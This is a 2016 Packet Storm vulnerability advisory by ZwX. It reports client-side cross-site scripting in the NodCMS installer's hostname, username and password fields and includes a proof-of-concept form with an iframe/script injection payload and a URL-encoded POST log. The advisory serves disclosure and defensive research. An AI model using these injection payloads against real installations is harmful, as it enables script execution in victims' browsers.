Twenty Year Anniversary

NodCMS Installer Client-Side Cross Site Scripting

NodCMS Installer Client-Side Cross Site Scripting
Posted Nov 22, 2016
Authored by ZwX

NodCMS Installer suffers from a client-side cross site scripting vulnerability.

tags | exploit, xss
MD5 | f4144d79ddd1e8a9a55392b22dfcc621

NodCMS Installer Client-Side Cross Site Scripting

Change Mirror Download
=====================================================
[#] Exploit Title : NodCMS Installer - Multiples Cross Site Web Vulnerability
[#] Date Discovered : 2016-11-10
[#] Affected Product(s): NodCMS Installer - Content Management System
[#] Exploitation Technique: Remote
[#] Severity Level: Low
[#] Tested OS : Windows 10
=====================================================


[#] Product & Service Introduction:
===================================
NodCMS is one of thousands "PHP CMS" in world wide web, but it has some differences, that maybe for you is better and easier to use.
"NodCMS" use one of popular and powerful php framework "Codeigniter", this reason make it more Objective. Also "MVC" Model View Controller structure of nodCMS make it so understandable and easily to maintenance and update.

(Copy of the Vendor Homepage: http://www.nodcms.com/ )


[#] Technical Details & Description:
====================================
A client-side cross site scripting web vulnerability has been discovered in the official NodCMS Installer content management system.
The web vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service.

A client-side cross site scripting web vulnerability is located in the input `hostname`,` Username`, `password`. The web vulnerability could allow an attacker to
execute JavaScript in the user's Web browser or administrator to compromise the information and installing the CMS

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add (Input)

Vulnerable Parameter(s):
[+] hostname
[+] username
[+] password


[#] Proof of Concept (PoC):
===========================
The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


-- PoC Source Exploit --
<h1 class="hicon connection">Server Connection</h1>
<form name="form2" action="index.php" method="post">
<input type="hidden" id="step" name="step" value="dbselection" />
<h3>Hostname:</h3>
<div class="textbox"><input type="text" id="hostname" name="hostname" value=""'/>><iframe src="data:text/html,<script>alert(1)</script>"></iframe>" /></div>
<h3>Username:</h3>
<div class="textbox"><input type="text" id="username" name="username" value=""'/>><iframe src="data:text/html,<script>alert(2)</script>"></iframe>" /></div>
<h3>Password:</h3>
<div class="textbox"><input type="password" id="password" name="password" value=""'/>><iframe src="data:text/html,<script>alert(3)</script>"></iframe>" /></div>
<button type="button" class="btn" name="button" onClick="javascript:location.href='?step=welcomemsg'" >Back</button>
<input type="submit" class="btn" name="submit" value="Next" />
</form>

--- PoC Session Logs [POST] ---
Status: 200 [OK]
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/site/install/index.php
Cookie: PHPSESSID=h47aqhre3mdgr30e6jaqr0vuj7
Connection: keep-alive

Method POST :
step=dbselection&hostname=%22%27%2F%3E%3E%3Ciframe+src%3D%22data%3Atext%2Fhtml%2C%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E&username=%22%27%2F%3E%3E%3Ciframe+src%3D%22data%3Atext%2Fhtml%2C%3Cscript%3Ealert%282%29%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E&password=%22%27%2F%3E%3E%3Ciframe+src%3D%22data%3Atext%2Fhtml%2C%3Cscript%3Ealert%283%29%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E&submit=Next


[#] Vulnerability Disclosure Timeline:
======================================
2016-11-10 : Discovery of the Vulnerability
2016-11-10 : Contact the Vendor (No Response Support Team)
2016-11-22 : Public Disclosure


[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain: www.zwx.fr
Contact: msk4@live.fr
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
iedb.ir/author-ZwX.html
0day.today/author/27461


Copyright (c) 2016 | ZwX - Security Researcher (Software & web application)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    1 Files
  • 18
    Nov 18th
    1 Files
  • 19
    Nov 19th
    3 Files
  • 20
    Nov 20th
    16 Files
  • 21
    Nov 21st
    7 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close